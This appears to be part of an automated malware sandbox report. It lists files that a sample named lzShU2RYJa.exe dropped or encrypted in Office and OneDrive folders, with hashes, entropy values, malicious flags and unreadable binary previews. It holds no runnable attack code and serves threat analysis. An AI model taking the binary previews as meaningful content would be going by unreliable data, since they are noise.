}i..p....;....Z...F5G......R...L$jc..X?.......:!...l..\|...V?....&..s...../.h....o.....(}h%n...j.M..1>....e..=.F;..,...,...#.^..d....UJI..b.(op.a.Y....Y...m.Y....t...=t.g.T.z5...r..)......$...r..K...D&.i.^.....}....Vl.~.Vbf..q..._Pm..pU?.......mz.....6a..iR~.$.Q..c...^...+.X..^@.e0.G...9E..Q.I.....].5)..o.P......."....[...F6RF.6.:...]j/~}..7kwB.o....z(vr.fblQ...>qp.^S2P.i..].......D}...L.g%.K\|.R..){..3L@.i<..v(e<.g..M!o.....X..#.lM...X.t..8q..`...m..+#.U..,.,.^...^-Xl..D.Z.D.x.h.6@.@...@....F.D...4Qn....+!i.lF.D.J.G.C.......r...@9.7........%.4...e..y...c@a...[.*K.tE/...Ds..A....s......s....X....w..+...$.....F..:..Y.D}`.'....}.a@u.)Um.........\a..r..1..

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.819036201967768
Encrypted:	false
SSDEEP:	24:0ZwJFfTRxpKKQKXBc8vHBoQhF2qL4mCCZAnIAptHPIHrnZIcVbD:0ZwJFjb/XSNUw/HPILZIcFD
MD5:	922492763C94AE8224F1B1B5F9359C48
SHA1:	4FF14DFA35C8EAD7432FC022BA6273374473CBAB
SHA-256:	1FA9B925C085BE868C2057ED5CBC55F606AAA5BCE10BD5B2B330D143EEBDDAEB
SHA-512:	4976C517031635F62D3411BE933B59934DE8E09B1E517673C999E7BE44817B04921DC14539A90AEDEC5C84577C4B40A54D65D286114807C7A6D6E006FC8D2E66
Malicious:	false
Preview:	1.1.9.o...w..x..'[..P....ToZ.B}.t......-4$...Ta.k.....@vw.MY.....1.sv..d d.t}fQ.8t...x.s..d&.?.k.g#..\..X...I.Wt.s.M@2jP>...ST...kgO.H....D#(U:.\z..=...........<.gg..KY}..h=...."..V.....5.x}<+iec.QA.H........... .,.{H3...3..qn..U>.v..5....~j.8.+..Z.9..!...E.0.H...(j...f.."H..O..t..[]..S(.5....)(.p...(..9.u..o..xpF..edD1......1T..i..O.Z}#G.Gr.........0..!...S.tC......6;y..^....t.K...o.......4.WS.....61...X..]-W..t...A/..cW.Mi..U.<....'u..4..r...i.q.7".....m8.4......d.7...-.k.,...`v.w.S......v..h.. ........'K...9,/.Z.mN"[.zw.u....Y....I............UR.5....F.T7..I.FGs....YN..{..wmeT..-A.I@%s.+x...a..$_..y.\|4.`....,&>].V..A..v...fU.>EB..3.M.MXV\|qc.5..#.?..&.........tm..Oa5V9. $3z.v...[%.d.. {...h.>@..;'...........d{.u.."..XNQ..5@.k..."g......!...p..[....u.....~Z`....V.[..[O.....3..N#FT..e..(.q.g.E.....\|?.B..8.".)..b....@Cg.t9.v.f^.?<.L~.x.z.8X.\..s.!...H..]C.;:!W.E.N=.. '_R........*...1.oQ(.Uv].B..{.{r...@$ ....(...Y..ZI...c.#R.:.Z....W..

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994618161002203
Encrypted:	true
SSDEEP:	768:P9tsAVSlMv6mBgefhy8/UzkcXbn1zvIVLWR8sjkHwM+G9nnwe3ZYB34+w7D4h7:P9tLVSlmeGR/UYcrdFXjkHwu9nwIY1Yq
MD5:	49EE59D8C62EA604983F937CE566328C
SHA1:	1E2573A187A53A2730E6D2E14FE1220E6D072C7C
SHA-256:	1E436260612A2C0356262C68C1C0D3D1BD49A77BAC6EBB347DD99FA113D61611
SHA-512:	EB92EBBDB11CCEA10F885D073E6DBAEE51E842C9075DF6590D1E32F5566180AD0AC123CB93DC0D2C29C769FC528E05A07661B3ACB9BAF103FBCEC5F4FA925076
Malicious:	true
Preview:	SQLitAE.P..x....G.."...I......U$.....kE...H........r..l...DY.x.BE&.j..?..5...g.L..a]..i.}.%({.4B.X.......6.Z.E.`....k.d^........$..jb.'5....X.2../{.Y..u...E.......}ew~.....{&]y.:...#..d.A...I.,...B...I(...U.>R.cDP.m..UvR.....\..Y..-.;....>9......?.m...9VVc ...q.]...?.cj.v.?.....m...U).Y...........LCv.tX!;...{.G.u.t.]..u..<.p...sT.i.......-n!h.U...oK......h.aDE..^).X....)_...............u.u&..V.X...2...ia.J...P.f..o.L.S..J.}..ce..~.$..F.<..+....s.&.$t.3.K..$..e. .0......A.....q=.,..r.@:...H./Q.9.y.6%.R...t.9.(..{.ns../.x...U.h...W.4I..].h....z>._.<..b.t....<..T..AN6..Xi..).+.'...m_.\n.5\.n.3.x.%....;....`P......../W.<.t.]...zq.......!.u.........A.-.]..3.&.r......../........,?$b.5.. .....W..2.......?.7...q..\|e.Q)".p.F..2^.j....^.......f..K...^8I..Y..Nk.e.r.^..S.5.....]VJ.T..7....5..f.;...?\s..E...N..T...;..N.V..1...<J.......a....I..8{..V...y..{..."..Da@..4%6...L..3...m.F<d..g..%....`.P3..t.H.....a..{.H.Y..p.n^$.f...Rv.P....

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.99020555347297
Encrypted:	true
SSDEEP:	384:ElYZWNLBvcfSQ8CJGu4ONYmK7CfJTWPv1KpUfZRKxucsZ91lz:8WsvESZlrONYmKWRu1hRKxs9/
MD5:	9A11C5EB24A6A18BF3B382FDF677912E
SHA1:	5E3546DD6E4794894482F2BD1F126952741599B4
SHA-256:	2DC47E5BD873061FA886A01A9E901E2956F4C217298C3547D21C15164DDB6749
SHA-512:	1A68EEF7B590191A73E3837A2AD75A4FC5FD539CD66D9A781E7F6184CA510AB996A12BC631A7F1E378CF0E9E502A9FD7528703A2575CA8097C76F1C7249B6E87
Malicious:	true
Preview:	SQLit....>xT.X.-.N5.>....X..."H\.T...Z..........\..T.O.#\....U.lQ{.9.............l...e....v..i.h..:..L.\7.1.'...E..%=b..>R.\..ub.4....G............\|........G.D....x!-....I?.$b.RQ..3d{..h.A.(.."K.....t5..zP.Z w.9.Q5R.....s...4.-..U..k.H..?.A..U}{....iuQ....q?........4.(.9>..UZ.J....?...$-4..B...<......RV,.c...l.....fQz~kJ....)..&9..UW...tc..T.A.K.;........bh.D..r.zT.P.+X...Y..3G.X..+..i.R.CAl/.+...../.&c./.a.W.f<...`2..\n.....n....w..../..-..W..Qj.vt..'....... .B..H..#!2&...c...Z.:!...."V.;...P..].p..'3TS.P.Q.....W.F.m.].....,.......n.TL........OjH.L..M........U.9...R$.....m...X.`......W....x..5.........l.x)..^D.ZD.l..!E..h....l..\E.m"...i.M..]........(.7VX..\.r..S_..\|~\|c;.zP.V.q.vXp..t..A$$.\J.....o.....X5..f..d.{...,7#...Nv...xLS.&.q..{0B.....Y...DK.5..1..65.YD.n.P.....&e.K.."l.........s..s&\?..R......x.n...i.i.....b@p}.Vy.6.P...w.X.FY/.....S.......2j..Z/.."..#s...P.......2..bn..@..r.%J..a.q..x".....{.}..@........... ..Z..o..6+.[-...E.a

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993016681906629
Encrypted:	true
SSDEEP:	384:RLRbggWFFQrUf6I2K8uB+qYPGDIFVD0gEeY/otDkQhpSkazLY9GwsnrY3dHakIe1:NRYFPB82c5FVDTbYM/ujLEqrWdYQ2+
MD5:	5F34FC38AF00C4140252768A6900F928
SHA1:	9F38C28A77CB4B22E7F20814A2B7CA29B0CF9CD9
SHA-256:	C2C57B587DF65AFC3BD47E3E281B254DBD0D3E19958B86F6873BB98BC4686A37
SHA-512:	07AF664D24258B76C94189D52870CD58B9E095F8C13CAD80B6A53479A53EF3F76AA3C73518B959264D006FC0B28A45117A32C6117F6C3487844D2BA15B1D96F4
Malicious:	true
Preview:	SQLitg.....e..i+2.s.mX.V.....Q#&,.....>.^.,...vG#^...it..qnIm..,....YiCo..1\|0:..J'.~......M.......F\G,.....r..zc...MP...-6.[....\..hR=Uq! a.7..%Rit.?..J....v..Pz0.c.+R....k.8>...P.r...WS1vI.qA..).1.^.<..M.=..$5cTS...d......~4O.....-....]..Ez..m0.W.DfW..]Q?...Gd._.n.&..~:3U..ql..6..9..E.HW5,...3a.pA..\.....1<.9...C..j..aK.m_m}.t. CU.`..J....4Xw.w.%.r....ce<s..s.3tc..n..w?....wGr...7:"....>..V.?.q8..,>&\.\|...,.bE+....y<..%../.u.....[2\.JA........iiI.......s...`.a...^.v".).._x.Z...2.... ...FgA.9.>6...i../..w...86a.$).i...:.0..{..E..j...._...c.C...E...y..D..W....^2...f......c/.]...O.3..<./C...].Z.L8L...........U.f..2\|K....@1.]....[..)."+m?.9.UW.....[..;a..Q....O...d.V.....GT..6.8.;t\|.$.b.7b:..*'R....T.?..o.s R~Hyv.z......\...W[...>....$n..)(Aq=]2..dP.S...b..:........v...6.......\|.w../.%.W...G.Fs..[.[.0.n~.d.....~,....>.xy.......M..{.g...E..tZf..<mJ.!.M..A.m,.BL./....r...S.w......D.Q......dg....WBJ..}.a]..n.5..{c4#.r..mj. ,..M0<..>l..u .I..

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993264202536292
Encrypted:	true
SSDEEP:	768:EYH/baNO+2bu8SIJBP2d4QfBaeckSkUjy9+PwkCglRg8Gd:EYH/KO+2buPcBPgL2GEPwkhod
MD5:	40A677D797A7E8CF48DFD7B62DBCBC9F
SHA1:	A7F7479C16785B05D20CABA0E2F7E18C9FC2BEB7
SHA-256:	A048BEFCCFDFDA5A5C2B49EA89B229EB6AA20AAFB1F747567C5CBD4CA49ECFE2
SHA-512:	32513CFDAF74F91E4F4C8456E3512A46FF6D024270FC59331831DDF6D5123DCF397F3DE281B3A5EBB4A12AC63073117446B9C920247854B2B1BA0F061E034C2F
Malicious:	true
Preview:	SQLit.a..%..C......nbx`....}.......g.[J.......k+R..7._.q2.}.W..uU..G....o....p2".\../#\|........V...o.\....!..S..L.=.>...x.HT`<&..=...!)...,.yn!.....Gw...@....o...v."......q.JM;.\|...[.r......c....;B}.....=.r-..]....#.?...7..:=.[y....NI.H..S....q.....ug2w......3. 'N0I..J..Y..........n.0-..;)X...oM.4yM..VjqqRy...c.2.c.!.....0[?^.W...7...0...)..l....6.......&...v.....a....8.?aGo....3....@.....`9.$..yWoIe_W:]...fW.TlY.]..[6d........H..V=tI......C..~.2....h4M....~J.m.......=e..@......^.U....".'...:..c.22^..i...j.M....2PZ.p.PV...Q...!........4;8.V..6.4Jy....].&.h..)..[..f.m.Uo{H]..d.W.....q....5..#/....v.....6J.(.n:.l?..:ii...'.2.O...z.$.....e+..\|..Z...5..W+.~..FX...187.b<m.&w.......{.).dG...\.....Z.:.&G.......(........J....#.T..!.R.3c=...5..O....g.hq.i]...X...u.f..M\....=.W..^. .....>dG..!Q:.g....B.N..W...AMX.E....\....14.u.......c./...K:...=6.....Q..y.'"',.b.;e.yGC.k..E.m..O....Q.$....z.f..Y....H.x .)....j.?...9#%.......u.c0...F.<...,+ G7..8..1

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.994051407748328
Encrypted:	true
SSDEEP:	768:ePAskT47WIs4W9gyIb5/VzUK3OYvjgrKUjh1o:ldILKgPDLvjg+Ujs
MD5:	1E0D4BBB1A703A6314EE13C8FB7F3D27
SHA1:	7B5E87A8A338C61D4C05A54D0880597C62E3C071
SHA-256:	CE7196B3F48E8103F587271DD29A618116CAB037944F6DD8D91ADDA1BA09931E
SHA-512:	AB5D4940B3111D25111EF4B4B16D29976281BBA3480E436A0D0D4C96E9C0ECCE4AD23AAC89423DD4D956B88F2718E5EA51910050E64BAADE8AA7813B42A74A7E
Malicious:	true
Preview:	SQLitT..n..L...P.:....B....o.7S,..\|...0.....j.Z.C@n.]1...}.lw....UfX.!I.....n.u.=E..ymH.. .u.WW9<..B.%...8.../{]p.=.f.\|..J!....I.hz.t..b..g..%F.p.. .....o..q.jn..34...k..:B.......i)..........\x.pYTR2.\.z......"T.H...I....P1...RWD.`....7.....C.y.U...&&....\|.../<.y.(.4...n.SY.h..@.~3g.......\|..O...1.0.%....W.....`.$.h...e./.[e`..7,#..".'A.yn......AQ....PF$.j.o.#J M:4..y...~9`.......d....Oq.H...i.........`.L}.o'.eU....A..~,.a..$..UP........2"@.iX..]S.m....)f}..].\.....zA<.3..o..\|..)....hF.....".^;..@.7y......K.........4.\|~D...'.{`G.i.....&...?/..d.,V..Cs.J..;`...\..`..S..h@._~6!...D.....9W@.L...Z!w..'.g...L".H...(.,.?.?.x...\|...u.....p...49B.-....SA....1Y......J..U...........7N....#.an..x....X+@....d...j..W-@.....6a..._.;.~...yk..c..:...#..8y..$..).P..(....??.1.~.1w.m.a...G/.V.6.Yp..'.P.......>..O+US.....%%s..t".2....9..cg....;..W..3AP..;......V7....[.5..H...:.NPJ..Z..v..x.j.o..j.w._....g(....T.Q)4x......[....a;........I.Q....U..!-....

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.0953.5356.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7037157243435371
Encrypted:	false
SSDEEP:	48:dyxpvIoegZfNjq3yMNIuIBK8AMHourTuBW8zGfrk/AeniKXuAoSgjRsFz:dyxRI2dcCMXIQnMHZGgI/A2/dsNsN
MD5:	70FCB987DDE243DCE69EB86C5E4ED867
SHA1:	440421EF43F2189017659D30E4D6106BF2BB1CDE
SHA-256:	513C1DC6B34BF8D9B2B079B24CC9E9029AA334557FE34CDE6CCB3AF9476ED2CB
SHA-512:	F9A6931932A9B749B23DF818B4448870E3F38EFF50FBE5B9EB27B15EDA6D44F703B55F83080099262E7C299EEAE0B7AE0240A64F158B3197662EF3B6D667B522
Malicious:	false
Preview:	EBFGO..mj...b#aZ..0....z..@xW.7...T.D.ac.-.x.A..`u/.O.D.y...-%.........v..i... ~..<...?...D...<...J8........}=.E..S...N..:.....Mg.<.%F.........kT.,..T...i.f"&!..37.L.d.O7..H.(..!..1...........e..x......1....m..t.>...L.b...s6.B...t(..a..v;.dZ..g.os.7.....k.7..O...xOT.(\. .l.1.ZZ.Na.R..w..p?.....(dG.`.M...............;U.{....B...Z..G. ..SZq....N..l.sxF..0..S..#..Q...{...N..S....`.O.0..7d.J.H..I&.^<...0...WC..KH.......;@.b...Y...l%i....SX..!.@).ST...>.{ .k...`...w_...W.%....{85.w.`.........~K.p...7.o...Z.......n...$q.....t.E6..9..0.>9[[}.\..E..T$..h.....0\|d.S..H......t.WH....QPG........\.....W.f.B.f.VV....7 =...1.YR.....A...BVqO.Cn^.........^....&......f.[....M.....:h.......=..3 .F`.....W........^..u..o.4.~...}"...O6..a.../.%.Br.YR.e..bsP...<.......Z5.-O..)..0......T.X.2...Z..Xv...r.r:...Y......M.hB........a.L.......0...w\|...+.:..i...9.m..5+...M..D@.....I(.e.:].x@.=Q.K......*.....i..4.D.W....5.P..D.&.K.J.k/ww../'.s..,...#@/u,:\|

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.1052.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7709348900449003
Encrypted:	false
SSDEEP:	96:xEdyC8jkDGQus6YWTSkKe0RdYxoRwu9GGmifNN:xwynjkDOzJL0RODu95
MD5:	DB9BA432CACA20E8CE5C37160257551E
SHA1:	62846F1571BDD48062A314C375DC2389963FE149
SHA-256:	C2691AD13FFECB73F0FF0EBBE8CCBAF65207B996B1BC54D7B522FD96FE4AEBD9
SHA-512:	87BED675D81D9C596DCD51A8F04FA1B8AA290633A145DBFE0C61AD342EC8899C9C5D2C22637965321140E5A2DBCAB900AF2B3021A83378C296A0ED569364835F
Malicious:	false
Preview:	EBFGO=.....FP......S.I..........e=[.....S2..8'8.....{....P.H.M...R....=M..8..U..n.Ez....~)....m.#=.\..7i...c..-.9..Ey.......<...h.......4...m..rM-.6.^..J....].......Yf(...J.!...m.a).We.e..c.P..7........}.;.:.M...TZ...<.p.+Q...~..K......:4._.%.+..0..->.A.P..]_.].x._.l....O.@..z9....C.s{..8....oi.F...@XW.j.`Y7o..YH...n`..-...WC.>A2.Q........m. ......(R.s....1........YNVh<;.P.h.?.....dS...1.Q....5..../...o....#..%.3.....v.....>.q)6..Gn."H...v[....E.$..j..Sz._...kD.+.....f.(y.....~w)..s...#<[..Fl.....?...$.2.r\EWjDP.'...A5.m.].A$>.BdB...y..d...k.....1q..)n..,>....o=q..-....7....\|....C.(.~.F...rM.J.........p..!e_....V..0...>A.2...o.@...S.'..r.kS..N1\.5"...,.:$..?..S..[.W..<L...,..W1....n"..;.........3....,.! s.(..@.R.5}.....=..".X".>.A..).#YV.BT.b.r[.v..O..c..rc.FZ.?..}.q.5<\......`.p.V..g.l..W.=...B.'\..\|...Z.a....&W..F+y.!).G.x.}.Z:.bR.U...%..z..:.@d.9....K.6...Z?...N#.:......+oQ.....@......S^w.~..0..z.Z.H.k>......m..{z^?...8.

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.340580026538668
Encrypted:	false
SSDEEP:	6:iF9xvFa3bk73GnOubRPLzWJ2/d+lJrsF10xsg7b2CEeUcaIp1lxMzjhPcii96Z:ijc3bU3G1RPz/d8JgS9OeAjVcii9a
MD5:	FA23CB8D1AEA2650DAB8AE61A2F98E9B
SHA1:	77CF7A518E3AA1160644DE5B70984008166B6E00
SHA-256:	17206DE95325C23E3D4EF80B42E55E256E349DF7EF7767B7F8E867803D71A4F7
SHA-512:	F7FAD8B46E8A6FA94BD01ECF616E4F59E88E8E84753EBFE249BDD18F13EC4BFB8A10B9385C5EDFD9DB7AA4D9E4C96692D2FB867DD150E6B584EAF80E556FBB9A
Malicious:	false
Preview:	2..0,.a#B.c..gN.3...[.....h..JT...=...&Z\..w..<U$....n.9.....t....#m.c..j...x.l....s.W.i....-B.5]u.fG..2....R....r...FA........u........".G..gP.(.:....6H.....u?.PQ.A..=YP..;#.!.."..4@.~....9.v;.......?.f5...=%T.[K...6@.P11.W..?......9.L...2.kjixD..0.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1149.2948.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0418192913748492
Encrypted:	false
SSDEEP:	96:z/KulqAhtxN06/FX0B5/AVICQfrMSHapFMj204BNZMJICQSDL/siN:Oullhz6kX0B5IVINfgS6bMi04vC7rs
MD5:	F9DCB3BE9C6052C7207B62889BF616E4
SHA1:	1FE4A4F451E6BC0242D1A772208B80F7DFEB4CBB
SHA-256:	0E6969FAE57F41C1D44C4C49B1FF44E9230D29CD3EA889DBF5E934F97FD72A8A
SHA-512:	A6EDE3763870DE060F14F3B72F305D09685B91847040F35AF2BBC76B5D06E8A364321EEA74193BB5BE150BF1C0BAD90DD79DBF28248C742677E7BD037660164C
Malicious:	false
Preview:	EBFGO.~.#.bJ..kf..@P.M....@.`A...oEl:Ud...U..R8V...Z.......qg@.x.'....HZ.?..........7......j.v%$T4.s.0...b..r.c.....!..f...?........t.L.x.{.%A.C[p.i...c..&O...........0..............].&.D.&..)..w.....PA5`S_.\.K.1].......1-(.sO......R .Q[..)...+..u..L.......<.....VR..d$.....NF..g.j)..m.. .;..q.H.G0...5.......v..c....l..X...x.....+.3.....p...A..F"v..rd..Bg.J6....P.\|X....ZEZ./~n... .L..F.....+....n....EM.......o...i[N.#C.Np..!....X....aD..<.$C..............l.Ism..z.Ab...W4.\|../k...5...WE.R..........\|....2#.'......Q.L........!!..VP....A.nIG.t5.Xk.P...D..h.x.....d....coI.1..(.d.n..e.....X..cwn..w[.v...J..~.2.+.3.....#:.<...T..E7UG:....H...I..@.....].yje-'...G7.........G5.....3RT")dIP.:.by..@..&HL..p......i!..L.N.B..MkS...3.~..h>.F...#E...;..>.y.G.zS.C.K.G.X........f.......HI%.9`..b .A.F`.o.[P]"?_.h..t.L....D.]...-...S0v..+.K.}.....r...."....g>..%To.....?.6ay.q5.M&...1k.....Ym...k.:9P.G..i.....9...46d..v.<.......)d....<b.(..C..,...h...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.aodl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2785602629457977
Encrypted:	false
SSDEEP:	96:14oHW2KiEVfByjrRRUBKbqE0lR988UHHUPddPsNy5+pPrkU3QMMnWQwdC66kQcAO:+H2QnvGNY/6sytKAo2
MD5:	32EC9A7E95038BBF4CA3C89364DBDC22
SHA1:	13ED2C9E92E3CF2BFAFAFD9CF4E5C892260DAD9D
SHA-256:	04A2FC276F795068157BC6496357E5C6D1180AB47B5CFE91B22D1B379ACF6CB4
SHA-512:	B2B65D170A8D50FB1EFF20599D32F75487122C30F3ED792AC2B2445FA994B570270CAFB0BDDF50B52D4DBE1B249267225ACE0622F2BE359B62F3D8DC01188CDB
Malicious:	false
Preview:	EBFGO...R.......S...?s..fH.......oB.M3.....j..c...<.d\|-..R.LZuWX!....4."8..j..?..........z.....P.^..\|....W...M;.N..[B....]IZ._..W...n..$..KNE....w..`."U.".....zu"...VO7...Ou.f..M...z.].#/N/.w....E5.\..t..$@...s.+...I....Z6....z..#.`&.._..fk.#.j%..wA..Ju..=k......w.'v...]W....{.".....o.........N.J...V.e]&,.=+t.zG./U..J.'U.dk..b"I{ .6..0x..........s.Ht.....bYG....b.&.&......{a...^M..QFY....#y<..n0..F.d.F.F<..`.......;9.y0.^.M;..W!......g.2...H\|I.{.k...$.z.....Q...<.j.2!....wEtO....@.........U..o.Kt.....}.;t.\|.U^.....Hq4.4k..C!5.....o..6..f........@1h@..]........Rwd..~1..0. .....v..1.f...2R...S.l...#B....dYD....u9l...`..TM..5\<#.(7.5.B.U.+...-..H.C.x..r_`....I4w.w5......}..`....q.z.......Z..x..1.h...7.T....D...5..[..;..5b.Gw].Yu....U..s.....=...V>{.A....%].E..\......}..;+.]....oC.{Z.t'...5../O.....X$..D.....(.6N....P..,..{......C.....N-8*.....u.p..XA.J...}..u..r#.<,LvTW.$8pu..o)Q..[7.7s....`].%.[.....E.\..TR..S{....%..2..Gk.N.f..,fW..}..eq....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.8956703166707887
Encrypted:	false
SSDEEP:	384:56ulOs3Z9+QQeFnuLAGuedLICvcVagwOzZiDr76:7NSeFuUGuedL7E0gPw6
MD5:	CD3018DB4FFD7E936B4B1A1C8EE67522
SHA1:	8C72672F058919F9108DA4317E8CE508CE9B86E6
SHA-256:	7E60572258BE1E95ECDB5CBF50621D98EF155A9E83860A612AC08A7C90976CFC
SHA-512:	11DB3E228D4176D3108391075B0C74831FBE21D86B0CEB5837FAA7FB4B5F6FBF35B333EDD31099DE5CF062347C935F204F67D8D1F4962C7EA50764398A7C8108
Malicious:	false
Preview:	EBFGO...'..T;..Q.!..L. D..y.j+O...l.j.-......Q9:.cr...7Q.d.sD....3h.o.........U..y..Q..zK._.Qz..z..Wb...H......TZ.....k<\.E...r. ......H...r...ze..#W.....%.D/..-J`e.S7...V......... .S..l.u.v.KK.....7_.k\|..i)..!.A../Ml......#....K..:.)....t...+.Fb...:......i...T.....f1/u..y..]..N..H.....X ..q.SE.=Ts;.(.z.1...D,......>..m.;xZ6_..{cU_...Ly...PM..w>.......E\...&%....G...^,..x..."..5...Ar...U........I>##'..R.....c!..rU.H.C........ ..\|..Y.gw9....Ga.Q..=."&f..bz..6....F....${....~i...3........B\|.._...g..Q.F&......>.8.%.lZ..G.^...$o`.Y+..j...F-(#+...e./..W...f.....)4..SXO...Rx.SQ.8..Kn....f..i..5.!.\x'..n-N...X..;.....^.FW........9.N....X.I...V.&.x..!A.f=1N.dY..7.Q.. i<..W.F2......<..wZ.R.....G.f,>.(.$.w.,[....?....+1....(..[....T.....%z.&.;&..w.Agy...n.~..:.)G.....B7UQ...k.....sV.`.n;d.D.......3..[t..U.f.?.....qC.S.r3.%..4..o].8.E.QS.(.+r=........D..f......\|f.....$`....F.......?...QOP.t.+*.#..C..c.j..\.b>.....,....(.....4.dZs.....&;...+Y..../

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.aodl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0134586016830536
Encrypted:	false
SSDEEP:	96:oO6HbtHdbA93l9U5Rmk/DVWZ2I/OjoT7yqqUVNPvilV9KNoX7XWwtN:J6Hbte3liRVpWbOhqqUVRi1KNgF
MD5:	45C23501827C3139297E9A6338FA3C11
SHA1:	8A4A39B7D34D7DE0F1F9932D549DFE001862DFA4
SHA-256:	B54CCE86F1F90F0A52A77153795B29B20D281C04A37BE62E1409FBFE22B31019
SHA-512:	048613C6A196973C089AF5BDFCC1286CCA2623EB4C5877315B7CCD4CCCB42B6641C04894F32D37C952C0E40B56D74D59C921FCF64413BB40A8997C3ECA74AEE7
Malicious:	false
Preview:	EBFGO..,..+V.D.l,..........v..1....ny&.q..A..%S..2.}w..?0.in#...^.Lg.;..^..;.......r...bS.....a0...s..K.(LAW...n.s..I,..Fy..FXhZs.I.....u..V\|.r....:.K(R.C3...+.j..!#...xG..L...Dq.((t..........Y..V.....uC..\|....s...X2......IT......$.3.D6C..B.#E..n.I..y.R.[">.qTa..kT..].V...Mm2..H.P.E./...=L...z5_..+..+2..V1....<U;gSk..$........J.v....#.s..T.. GynEwL.Q.c}.r. ....8Zz.....{....y.....'.RiZ.@@....X....p.<pt4...U#..l.......#..-.'qm:..........$...rS.c..4..,\|....U....R..8H..4l..f.1x..yv;..9.!OA!_.}5..c.za.\|....!.....n....D.[....Ca.I.....6..[g~.=p....7......Fk2.!{(...6A......t.'z.,.....A...pu.....-.5..L..wW3.W.].#.U.\|..YH.x7.5K(.V{W...#(2N..ao.....\|.r2E..;..3..e..>F...X..}W.U....H...-...3./.C...z..I....b.+0$...9sb..5.T.)..M"O.H...8.}>......p.i.....s......d*......W...i<.lN...w<Fu.....P...a.x.^.K.1.x%.:.+.'..1$..VQ.".N.^.....Z.=5{..=.[$...u..{.L.Y...sC..F1.....9.R....O..Ym..B.o..YB.y .u...9.e....W.kb^&..o..`..=..!.......k^M..6.S.g.U.....!..Y..K1...W:.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20639732306000358
Encrypted:	false
SSDEEP:	24:zs1UDt+zZ9PwlqjLqND9p/6oZMMN/z7tVbz:rtqze5J9pCVgNFz
MD5:	5B88F167FA7259D0E18A7EB0D9B5CAAD
SHA1:	4130D5179227CB505F4826014560284FC21D4DFD
SHA-256:	2B23DD5BAF238D52DF0E8D9EB1E3BF67CA9F44130A022A6299F4427E23FA3AE9
SHA-512:	832FFD37D3AA53E83352DB2B1B290AB78629C925BD4343CF2C31B160D750903C6BE16DFC0A3ED07F25E1AC2CE4D7668CE711B665C7A643C29B77C5EAF11CD046
Malicious:	false
Preview:	EBFGO.k..i...?.;]......L.]...[..++Z.CF........&[.r..'.TH.........2..!(..<5.p.-......... ..;H...O.jZ5.........5...N.3."B2.2h..H...W.F.'.\..x......{...W..5\|..9.......IU."e..6t..m.."..6.....:.oa.j.6k..%]b!..A[2...c..C..:a8.".......j...9Qo.].\F.@.:..\|.i-.Me._.&U.......Y"....T...K...D...9.4..WO<.....!VyR.RF.R...Q...`.L....O...t#...[Q..y......J....k%.t.KO."......_.. 